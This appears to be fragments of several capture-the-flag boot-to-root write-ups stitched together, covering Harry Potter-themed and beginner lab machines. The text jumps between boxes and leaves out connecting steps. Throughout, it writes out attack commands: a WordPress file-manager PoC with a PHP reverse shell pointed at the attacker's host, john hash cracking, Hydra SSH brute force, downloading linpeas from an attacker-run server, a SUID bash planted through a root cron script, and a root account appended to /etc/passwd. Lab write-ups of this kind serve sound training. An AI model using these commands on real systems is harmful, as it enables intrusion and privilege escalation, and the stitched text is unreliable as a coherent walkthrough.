Source: We will use bash onliner for reverse shell. Reference 1, 2, 3, 4.
Note:
“I saved the file and set up my NetCat listener. Since the MOTD is triggered by a user logging into the system, I logged in as sysadmin. I didn’t get a reverse shell. But when I logged in as eftipi, I received my root shell.” – source
We came to know our target or victim machine IP: 192.168.56.121
nmap -sC -sV -p- -Pn 192.168.56.121 -o nmap.log
Output: (Information redacted)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
wget https://ypcs.fi/misc/code/pocs/2020-wp-file-manager-v67.py
cp cp /usr/share/webshells/php/php-reverse-shell.php .
mv php-reverse-shell.php payload.php (the reason why I rename this file is because I am trying to follow the PoC mentioned in this link)
We have to mention the Target IP address and Port Number in payload.php; in that case, it is 192.168.56.1 and 1234 (port number)
─$ echo "MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==" | base64 -d
1: RidDlE's DiAry dEstroYed By haRry in chaMbEr of SeCrets
Since we know that the website was a WordPress based site, so I went to check for wp-config file and I was not able to find it under the usual location.
My knowledge on server setup came into handy.
The website directory or the website is located here /usr/share/wordpress However, I know that this wp-config.php is not the real file. I am little impressed with the machine designer because one of my role in the current organization where I work is to setup WordPress environment and I tried my best to structure it in a way that hacker will face tough time to get it. Likewise, if I know how the machine designer place it’s wp-config.php, I will implement it in my upcoming project work. Anyway, let’s find where it is located.
echo "$P$BYdTic1NGSb8hJbpVEMiJaAiNJDHtc." > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show
Do you recall that during the scanning phases (initial), we came to know that the machine is running with ssh service. Let’s try to login it with using the following credentials…
I was playing around and couldn’t find anything useful. It is my ritual that at this time if I don’t get anything useful, I run linpeas.sh on the victim machine (I hope you have already picked-up how to do this by now, I mean using SimpleHTTPServer :) ).
When I check the permission of the folder at /tmp/tmp_wp_uploads; do you see what I see? (It has root for user and group)
Although user hagrid98 has no crontab entry but it looks like root user has. Therefore, let us add the following line as the entry to the above file .backup.sh.
cp /bin/bash /tmp/bash && chmod +s /tmp/bash
Note: set user or group ID on execution (s) chmod +s is used.
I waited around 5 minutes and finally I got what I wanted, the binary with execute permission enabled.
hagrid98@Aragog:/tmp$ ls -lah
total 2.3M
drwxrwxrwt 10 root root 4.0K May 28 17:28 .
drwxr-xr-x 18 root root 4.0K Mar 31 17:52 ..
-rwsr-sr-x 1 root root 1.2M May 28 17:32 bash
-rwxr-xr-x 1 root root 1.2M May 28 17:24 bash1
drwxrwxrwt 2 root root 4.0K May 28 12:42 .font-unix
drwxrwxrwt 2 root root 4.0K May 28 12:42 .ICE-unix
drwx------ 3 root root 4.0K May 28 12:42 systemd-private-b275630ffd804e5187080888580cb0b0-apache2.service-JVTT6g
drwx------ 3 root root 4.0K May 28 12:42 systemd-private-b275630ffd804e5187080888580cb0b0-systemd-timesyncd.service-AHdvzF
drwxrwxrwt 2 root root 4.0K May 28 12:42 .Test-unix
drwxr-xr-x 5 root root 4.0K May 28 12:46 tmp_wp_uploads
drwxrwxrwt 2 root root 4.0K May 28 12:42 .X11-unix
drwxrwxrwt 2 root root 4.0K May 28 12:42 .XIM-unix
hagrid98@Aragog:/tmp$
hagrid98@Aragog:/tmp$ ./bash -p #visit this link if you don't know why i used this line of command
hocrux: horcrux_{MjogbWFSdm9MbyBHYVVudCdzIHJpTmcgZGVTdHJPeWVkIGJZIERVbWJsZWRPcmU=}
In muggle terms: 2: maRvoLo GaUnt's riNg deStrOyed bY DUmbledOre
IP: 192.168.56.118 (which spits out by machine and we do not need to search for it)
Since I know the machine IP address, I went ahead to do some manual assessment while running the following command (which helps to collects pretty much everything I required to know about this machine)
Browse 192.168.56.118/robots.txt
All those list of sub-directories were bogus but at the bottom, I noticed a strange character..
ftp 192.168.56.118
username: anonymous
password: anonymous
ls
cd thomas
get milo.jpg
exiftool milo.jpg (didn't find anything useful)
From stage 1, we can conclude that the pet’s name is milo.
Password pattern is milo$i$j$k ($i$j$k represents three digits)
Let’s write a script to prepare a list of password.
vim script.sh
#!/usr/bin/bash
for i in {0..9}; do
for j in {0..9}; do
for k in {0..9}; do
echo "milo$i$j$k" >> password.txt
done
done
done
chmod +x script.sh./script.sh
I tried a python script for the task :)
#!/usr/bin/python3
import sys
with open('password.txt', 'w') as f:
sys.stdout = f
for i in range(1, 10):
for j in range(1, 10):
for k in range(1,10):
print("milo"+str(i)+str(j)+str(k))
Brute Force SSH using Hydra
hydra -l thomas -P password.txt -s 65111 ssh://192.168.56.118
I tried to perform file, strings, cat, binwalk etc.. no use lol
I tried to evaluate the target machine with the help of linpea.sh program
Miscellaneous Steps :
On Kali Machine:
cd /path-to-linpea.sh/
python3 -m http.server
On Target or Victim Machine:
cd /tmp
wget 192.168.56.118/linpea.sh
chmod +x linpea.sh
sh linpea.sh
Click on Image to View in HD
Port 5901
We have password from the above information. Do you remember this file .remote_secret ?
Target Machine IP Address: 192.168.56.46
My Machine IP Address: 192.168.56.20
Mission:
Boot to Root
THIS IS A MACHINE FOR COMPLETE BEGINNER , GET THE FLAG AND SHARE IN THE TELEGRAM GROUP (GROUP LINK WILL BE IN FLAG.TXT)
DHCP : ENABLED
IP : AUTO ASSIGN
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
I checked source code, exiftool on image but didn’t get a good result, so I will not write those processes here (afraid it may bog you down with rabbit holes.) However, something interesting is showing at robots.txt
Note: Don’t just stop there, I missed it once.. look at the line number, something must be at the bottom
If you wonder why I did double decoding, you might understand it by doing it with single decoding. Because output of the base64 decoded message is another base64 decoded text, therefore, I did it twice.
The decoded file is actually a PNG file, do you see the PNG in the top of the screenshot?
I have redirected the output and named the file decoded.png
It is a QR Code. Now I need to do a little shopping. Find an online tool that could read the code and spit out the message if it has any… By the way, I tried my mobile QR reader and I already got the message, however, let’s do the usual way…
However, I did Scan with Nikto andGobuster, both gave me some information, nevertheless, so far it appears to be another rabbit hole to me though :)
As you can see very well that directory redirects to somewhere (which are not known yet, I am planning to run a burp suite to look into it.)
In Nikto result, there is a link which intrigued me, nevertheless, I am not sure whether it is again a rabbit hole, however, let’s keep it in our note.
I must confess here that I was not able to get anything that could be of use. So, I had to peek other people’s writeup. The author of the writeup used another custom wordlist which is not there in the list of directory database which we use normally. Therefore, I think we really need to keep this in my that if a scanner can find nothing that doesn’t mean nothing is there.
Actually, I can add the bulma word in the dictionary and act as if I find the directory using the scanner but I don’t think that is the way.
I am impressed with this audio file because it contents Mores Code. (I don’t know how to read the Mores Code manually, however, we can find a tool for that)
If you run this command, you will get to know which (system) files you could write (or modify).
find / -writable -type d 2>/dev/null
There were so many, files that I could edit. I did a quick brush. However, the last file atracks me the most.
/etc/passwd
Let’s modify this file using the findings…
echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd
which means we added a user name Tom and the password is Password@973
su Tom
cat root.txt
That’s it, guys… if you don’t like to enumerate manually you can use linpeas.sh tool to enumerate the box for you…
Additional Note:
I upload linpeas.sh to our target machine from my Kali Machine using SimpleHTTPServer (by the way, in order to save some time, I aliased the command with up).
Target Machine IP Address: 192.168.56.41
My Machine IP Address: 192.168.56.20
Mission:
Boot to Root
Your target is gain the Root access
There is no any flag in this VMs
Share root access with me twitter@cybersploit1
This works better with VirtualBox rather than VMware
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((centos))
Let’s browse 192.168.56.41
Some strings are encrypted. Let’s check out the source code. (ctrl+u shortcut key)
Yes, this is a ROT47 encrypted message, I thought to write a script to do this however, let’s not waste time. Better google an online tool for this task. I used this one.
